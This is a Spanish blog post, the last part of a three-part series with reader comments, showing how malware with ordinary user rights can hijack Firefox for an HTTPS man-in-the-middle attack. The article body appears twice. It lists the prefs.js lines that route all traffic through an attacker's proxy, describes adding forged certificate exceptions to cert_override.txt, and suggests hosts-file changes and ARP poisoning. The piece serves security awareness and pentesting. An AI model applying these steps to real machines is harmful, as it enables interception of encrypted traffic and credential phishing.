*********************************************************************************************
- MITM https con Certificados Falsos a nivel de usuario en Firefox (1 de 3)
- MITM https con Certificados Falsos a nivel de usuario en Firefox (2 de 3)
- MITM https con Certificados Falsos a nivel de usuario en Firefox (3 de 3)
Autor: Enrique Rando
*********************************************************************************************
Paso 3: Replicando el comportamiento (continuación)
Y ahora editemos el fichero prefs.js y añadamos o modifiquemos las líneas que configuran el Proxy:
user_pref("network.proxy.backup.ftp", "");
user_pref("network.proxy.backup.ftp_port", 0);
user_pref("network.proxy.backup.gopher", "");
user_pref("network.proxy.backup.gopher_port", 0);
user_pref("network.proxy.backup.socks", "");
user_pref("network.proxy.backup.socks_port", 0);
user_pref("network.proxy.backup.ssl", "");
user_pref("network.proxy.backup.ssl_port", 0);
user_pref("network.proxy.ftp", "192.168.192.168");
user_pref("network.proxy.ftp_port", 3128);
user_pref("network.proxy.gopher", "192.168.192.168");
user_pref("network.proxy.gopher_port", 3128);
user_pref("network.proxy.http", "192.168.192.168");
user_pref("network.proxy.http_port", 3128);
user_pref("network.proxy.share_proxy_settings", true);
user_pref("network.proxy.socks", "192.168.192.168");
user_pref("network.proxy.socks_port", 3128);
user_pref("network.proxy.ssl", "192.168.192.168");
user_pref("network.proxy.ssl_port", 3128);
user_pref("network.proxy.type", 1);
NOTA: habría que cambiar 192.168.192.168 por la IP del servidor proxy configurado en el Paso 1.
Figura 10: Cambios en prefs.js
Con estos cambios se modificaría la configuración del acceso a Internet de Firefox para que se conecte a través de nuestro proxy malvado y así podamos redirigirlo a nuestro sitio malicioso.
Y ahora sólo queda esperar a que el usuario infectado trate de visitar https://www.hotmail.com y, como era de esperar, Firefox acepta el certificado sin quejarse y permite que el proxy lleve al usuario a nuestro sitio malicioso a la primera.
Figura 11: Hotmail certificado mediante una excepción añadida manualmente
El usuario, confiado, no tiene razones para sospechar que ha sido engañado. Al fin y al cabo, está usando HTTPS y el navegador acepta el certificado. ¿No es eso lo que los “expertos” en seguridad (con y sin comillas) nos han venido diciendo desde hace años que hay que comprobar?
Y, si se desea, se pueden poner más líneas de excepciones con el mismo certificado en el cert_override.txt. Tantas como se desee y a nombre de los sitios que nos plazca. Basta con ir cambiando el nombre de equipo con el que comienza la línea.
Como virus, me siento más que realizado. Mi amo puede ahora realizar ataques de MITM para interceptar y descifrar el tráfico cifrado de su víctima. También puede realizar ataques de phishing a mansalva. Y todo ello sin ocasionar demasiadas molestias a sus víctimas.
Conclusiones
En nuestro ejemplo hemos añadido una excepción, pero sería cosa de probar y ver cómo añadir, por ejemplo, una entidad emisora raíz de confianza que ayudaría a hacer el ataque mucho más permanente.
Por otro lado las pruebas se han realizado usando Firefox sobre Windows, pero no debe existir demasiadas diferencias a la hora de atacar a víctimas con Linux o Mac y, posiblemente, también otros navegadores puedan sufrir de este tipo de sencillos ataques.
Finalmente, hay que tener en cuenta y recordar siempre que para estar a salvo no basta con usar cuentas sin privilegios. Eso sí, si consigues los de un administrador, tienes más fácil la redirección al sitio web falso: bastaría con modificar el fichero hosts de la víctima al old-fashined style. También te sería todo más sencillo si estás en condiciones de hacer un ARP-Poisoning. Todo ello, suponiendo que estás pensando en hacer cosas malas, que no creo que sea el caso.
En cuanto a la seguridad que nos ofrece SSL y HTTPS, sus garantías para la privacidad, etcétera, si es que confiáis aún en ellas.. mejor ¡Que tengáis suerte!
*********************************************************************************************
- MITM https con Certificados Falsos a nivel de usuario en Firefox (1 de 3)
- MITM https con Certificados Falsos a nivel de usuario en Firefox (2 de 3)
- MITM https con Certificados Falsos a nivel de usuario en Firefox (3 de 3)
*********************************************************************************************
- MITM https con Certificados Falsos a nivel de usuario en Firefox (1 de 3)
- MITM https con Certificados Falsos a nivel de usuario en Firefox (2 de 3)
- MITM https con Certificados Falsos a nivel de usuario en Firefox (3 de 3)
Autor: Enrique Rando
*********************************************************************************************
Paso 3: Replicando el comportamiento (continuación)
Y ahora editemos el fichero prefs.js y añadamos o modifiquemos las líneas que configuran el Proxy:
user_pref("network.proxy.backup.ftp", "");
user_pref("network.proxy.backup.ftp_port", 0);
user_pref("network.proxy.backup.gopher", "");
user_pref("network.proxy.backup.gopher_port", 0);
user_pref("network.proxy.backup.socks", "");
user_pref("network.proxy.backup.socks_port", 0);
user_pref("network.proxy.backup.ssl", "");
user_pref("network.proxy.backup.ssl_port", 0);
user_pref("network.proxy.ftp", "192.168.192.168");
user_pref("network.proxy.ftp_port", 3128);
user_pref("network.proxy.gopher", "192.168.192.168");
user_pref("network.proxy.gopher_port", 3128);
user_pref("network.proxy.http", "192.168.192.168");
user_pref("network.proxy.http_port", 3128);
user_pref("network.proxy.share_proxy_settings", true);
user_pref("network.proxy.socks", "192.168.192.168");
user_pref("network.proxy.socks_port", 3128);
user_pref("network.proxy.ssl", "192.168.192.168");
user_pref("network.proxy.ssl_port", 3128);
user_pref("network.proxy.type", 1);
NOTA: habría que cambiar 192.168.192.168 por la IP del servidor proxy configurado en el Paso 1.
Figura 10: Cambios en prefs.js
Con estos cambios se modificaría la configuración del acceso a Internet de Firefox para que se conecte a través de nuestro proxy malvado y así podamos redirigirlo a nuestro sitio malicioso.
Y ahora sólo queda esperar a que el usuario infectado trate de visitar https://www.hotmail.com y, como era de esperar, Firefox acepta el certificado sin quejarse y permite que el proxy lleve al usuario a nuestro sitio malicioso a la primera.
Figura 11: Hotmail certificado mediante una excepción añadida manualmente
El usuario, confiado, no tiene razones para sospechar que ha sido engañado. Al fin y al cabo, está usando HTTPS y el navegador acepta el certificado. ¿No es eso lo que los “expertos” en seguridad (con y sin comillas) nos han venido diciendo desde hace años que hay que comprobar?
Y, si se desea, se pueden poner más líneas de excepciones con el mismo certificado en el cert_override.txt. Tantas como se desee y a nombre de los sitios que nos plazca. Basta con ir cambiando el nombre de equipo con el que comienza la línea.
Como virus, me siento más que realizado. Mi amo puede ahora realizar ataques de MITM para interceptar y descifrar el tráfico cifrado de su víctima. También puede realizar ataques de phishing a mansalva. Y todo ello sin ocasionar demasiadas molestias a sus víctimas.
Conclusiones
En nuestro ejemplo hemos añadido una excepción, pero sería cosa de probar y ver cómo añadir, por ejemplo, una entidad emisora raíz de confianza que ayudaría a hacer el ataque mucho más permanente.
Por otro lado las pruebas se han realizado usando Firefox sobre Windows, pero no debe existir demasiadas diferencias a la hora de atacar a víctimas con Linux o Mac y, posiblemente, también otros navegadores puedan sufrir de este tipo de sencillos ataques.
Finalmente, hay que tener en cuenta y recordar siempre que para estar a salvo no basta con usar cuentas sin privilegios. Eso sí, si consigues los de un administrador, tienes más fácil la redirección al sitio web falso: bastaría con modificar el fichero hosts de la víctima al old-fashined style. También te sería todo más sencillo si estás en condiciones de hacer un ARP-Poisoning. Todo ello, suponiendo que estás pensando en hacer cosas malas, que no creo que sea el caso.
En cuanto a la seguridad que nos ofrece SSL y HTTPS, sus garantías para la privacidad, etcétera, si es que confiáis aún en ellas.. mejor ¡Que tengáis suerte!
*********************************************************************************************
- MITM https con Certificados Falsos a nivel de usuario en Firefox (1 de 3)
- MITM https con Certificados Falsos a nivel de usuario en Firefox (2 de 3)
- MITM https con Certificados Falsos a nivel de usuario en Firefox (3 de 3)
*********************************************************************************************
Hola!
ResponderEliminarUna serie de entradas que me ha gustado mucho
Gracias por tu trabajo diario ;)
Saludines
Me alegra ver que aun existe imaginación dentro del mundo del pentesting... Hace años que nosotros venimos empleando esta técnica y otras muy parecidas en nuestras auditorías y tests de intrusión, por lo que puedo dar fe de su efectividad. Por otro lado comentar que el principal problema de la navegación web es que su seguridad se gestiona en "Ring 3" -usuario- por lo que cualquier ejecución de código arbitrario en este nivel puede comprometer dicho proceso. Para securizar minimamente un sistema, deben imponerse controles con políticas estrictas desde "Ring 0" -kernel- y aplicar políticas RBAC que controlen en "Ring 3" las aplicaciones más delicadas, por ejemplo, el navegador.
ResponderEliminarEn cualquier caso, a dia de hoy, el ataque que describes funciona bien en casi todas partes -con adaptaciones a distintos navegadores-. Enhorabuena.
Gracias por este post, habeis contribuido un poco mas a que mis ojos se quemen un poco mas jugueteando con estas cosas por la noches!!
ResponderEliminar@Hugo, una cuestión, en cuanto a las restricciones de aplicaciones en ring3, un metodo para controlar estas cosas no seria por ejemplo lo que se esta implementando con el Qubes, intentando crear mini-maquinas virutales por cada proceso??
jaja mi nivel de paranoia se dispara… es simple crear malware con esas características, pero también sería simple incorporar alguna encriptación con reverso para la lectura de esos ficheros, igualmente como dice Hugo sería conveniente implantar la monitorización de tales archivos a nivel de kernel, similar al funcionamiento de “system” que utiliza un antivirus para proteger sus procesos, siempre y cuando no se escalen privilegios como ocurre con los killers y la guarrería esa de compatibilidad con ejecutables de 16 bits, aunque me temo que le queda poco de vida.
ResponderEliminarSaludos y gracias por estos detalles.
Amigo Enrique/Chemita.
ResponderEliminarHabeis probado ¿https://www.bing.es?
y ¿https://www.google.es?
Lo mismo con yahoo.
Bueno, es curioso lo de bing, para mi es una caga porque al final hace lo mismo que el resto.
Muy interesante el post, está claro que si un ordenador está comprometido (o la misma red permite un ataque MITM) poco se puede hacer...
ResponderEliminar